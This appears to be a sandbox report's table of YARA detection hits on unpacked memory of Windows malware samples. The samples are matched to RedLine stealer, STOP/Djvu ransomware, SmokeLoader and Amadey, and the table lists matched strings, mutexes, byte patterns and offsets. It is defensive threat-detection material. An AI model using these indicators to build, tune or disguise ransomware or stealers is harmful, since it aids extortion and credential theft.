19.2.2355.exe.42c0000.6.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x23816:$pat14: , CommandLine: 0x1b821:$v2_1: ListOfProcesses 0x19d1b:$v4_3: base64str 0x19cda:$v4_4: stringKey 0x19d25:$v4_5: BytesToStringConverted 0x19d10:$v4_6: FromBase64 0x1b5d7:$v4_8: procName
7.2.4FC4.exe.40e15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
7.2.4FC4.exe.40e15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
7.2.4FC4.exe.40e15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
5.2.D5C1.exe.41015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.D5C1.exe.41015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.D5C1.exe.41015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.2.B666.exe.41015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.2.B666.exe.41015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.2.B666.exe.41015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.2355.exe.4100ee8.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.4100ee8.2.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x23816:$pat14: , CommandLine: 0x1b821:$v2_1: ListOfProcesses 0x19d1b:$v4_3: base64str 0x19cda:$v4_4: stringKey 0x19d25:$v4_5: BytesToStringConverted 0x19d10:$v4_6: FromBase64 0x1b5d7:$v4_8: procName
17.2.4149.exe.41115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
17.2.4149.exe.41115a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
17.2.4149.exe.41115a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.2355.exe.4100000.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.4100000.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x264fe:$pat14: , CommandLine: 0x1e509:$v2_1: ListOfProcesses 0x1ca03:$v4_3: base64str 0x1c9c2:$v4_4: stringKey 0x1ca0d:$v4_5: BytesToStringConverted 0x1c9f8:$v4_6: FromBase64 0x1e2bf:$v4_8: procName
5.2.D5C1.exe.41015a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
5.2.D5C1.exe.41015a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.D5C1.exe.41015a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.4149.exe.40a15a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.4149.exe.40a15a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.4149.exe.40a15a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
13.2.4149.exe.42815a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.4149.exe.42815a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.4149.exe.42815a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.2355.exe.42c0000.6.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.42c0000.6.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x25616:$pat14: , CommandLine: 0x1d621:$v2_1: ListOfProcesses 0x1bb1b:$v4_3: base64str 0x1bada:$v4_4: stringKey 0x1bb25:$v4_5: BytesToStringConverted 0x1bb10:$v4_6: FromBase64 0x1d3d7:$v4_8: procName
19.2.2355.exe.41b1e76.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.41b1e76.4.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x264fe:$pat14: , CommandLine: 0x1e509:$v2_1: ListOfProcesses 0x1ca03:$v4_3: base64str 0x1c9c2:$v4_4: stringKey 0x1ca0d:$v4_5: BytesToStringConverted 0x1c9f8:$v4_6: FromBase64 0x1e2bf:$v4_8: procName
19.2.2355.exe.41b2d5e.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.41b2d5e.5.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x25616:$pat14: , CommandLine: 0x1d621:$v2_1: ListOfProcesses 0x1bb1b:$v4_3: base64str 0x1bada:$v4_4: stringKey 0x1bb25:$v4_5: BytesToStringConverted 0x1bb10:$v4_6: FromBase64 0x1d3d7:$v4_8: procName
22.2.89DB.exe.400000.0.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
32.0.oldplayer.exe.ea0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
10.2.4149.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.4149.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.4149.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
10.2.4149.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
10.2.4149.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
10.2.4149.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
35.0.oneetx.exe.3d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.2355.exe.41b1e76.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.41b1e76.4.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x246fe:$pat14: , CommandLine: 0x1c709:$v2_1: ListOfProcesses 0x1ac03:$v4_3: base64str 0x1abc2:$v4_4: stringKey 0x1ac0d:$v4_5: BytesToStringConverted 0x1abf8:$v4_6: FromBase64 0x1c4bf:$v4_8: procName
26.2.4149.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
26.2.4149.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
26.2.4149.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
22.2.89DB.exe.2460e67.1.raw.unpack	JoeSecurity_SmokeLoader_2	Yara detected SmokeLoader	Joe Security
21.2.4149.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
21.2.4149.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
21.2.4149.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.2355.exe.5486550.9.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.5486550.9.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x25616:$pat14: , CommandLine: 0x1d621:$v2_1: ListOfProcesses 0x1bb1b:$v4_3: base64str 0x1bada:$v4_4: stringKey 0x1bb25:$v4_5: BytesToStringConverted 0x1bb10:$v4_6: FromBase64 0x1d3d7:$v4_8: procName
19.2.2355.exe.5486550.9.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.5486550.9.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x23816:$pat14: , CommandLine: 0x1b821:$v2_1: ListOfProcesses 0x19d1b:$v4_3: base64str 0x19cda:$v4_4: stringKey 0x19d25:$v4_5: BytesToStringConverted 0x19d10:$v4_6: FromBase64 0x1b5d7:$v4_8: procName
19.2.2355.exe.3e60e67.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.3e60e67.1.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1d0b0:$s1: 23 00 2B 00 33 00 3B 00 43 00 53 00 63 00 73 00 0x80:$s2: 68 10 84 2D 2C 71 EA 7E 2C 71 EA 7E 2C 71 EA 7E 32 23 7F 7E 3F 71 EA 7E 0B B7 91 7E 2B 71 EA 7E 2C 71 EB 7E 5C 71 EA 7E 32 23 6E 7E 1C 71 EA 7E 32 23 69 7E A2 71 EA 7E 32 23 7B 7E 2D 71 EA 7E 0x700:$s3: 83 EC 38 53 B0 8F 88 44 24 2B 88 44 24 2F B0 12 88 44 24 30 88 44 24 31 88 44 24 33 55 56 8B F1 B8 0C 00 FE FF 2B C6 89 44 24 14 B8 0D 00 FE FF 2B C6 89 44 24 1C B8 02 00 FE FF 2B C6 89 44 24 ... 0x1ed8a:$s4: B\|BxBtBpBlBhBdB`B\BXBTBPBLBHBDB@B<B8B4B0B,B(B$B B 0x1e9d0:$s5: delete[] 0x1de88:$s6: constructor or from DllMain.
8.2.4FC4.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
8.2.4FC4.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.4FC4.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.2355.exe.4100ee8.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.4100ee8.2.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x25616:$pat14: , CommandLine: 0x1d621:$v2_1: ListOfProcesses 0x1bb1b:$v4_3: base64str 0x1bada:$v4_4: stringKey 0x1bb25:$v4_5: BytesToStringConverted 0x1bb10:$v4_6: FromBase64 0x1d3d7:$v4_8: procName
13.2.4149.exe.42815a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
13.2.4149.exe.42815a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
13.2.4149.exe.42815a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.D5C1.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.D5C1.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
6.2.D5C1.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
18.2.B666.exe.41015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
18.2.B666.exe.41015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
18.2.B666.exe.41015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
19.2.2355.exe.41b2d5e.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.41b2d5e.5.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x23816:$pat14: , CommandLine: 0x1b821:$v2_1: ListOfProcesses 0x19d1b:$v4_3: base64str 0x19cda:$v4_4: stringKey 0x19d25:$v4_5: BytesToStringConverted 0x19d10:$v4_6: FromBase64 0x1b5d7:$v4_8: procName
19.2.2355.exe.4100000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
19.2.2355.exe.4100000.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x246fe:$pat14: , CommandLine: 0x1c709:$v2_1: ListOfProcesses 0x1ac03:$v4_3: base64str 0x1abc2:$v4_4: stringKey 0x1ac0d:$v4_5: BytesToStringConverted 0x1abf8:$v4_6: FromBase64 0x1c4bf:$v4_8: procName
21.2.4149.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
21.2.4149.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
21.2.4149.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.F0EE.exe.41ffd90.1.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.2355.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
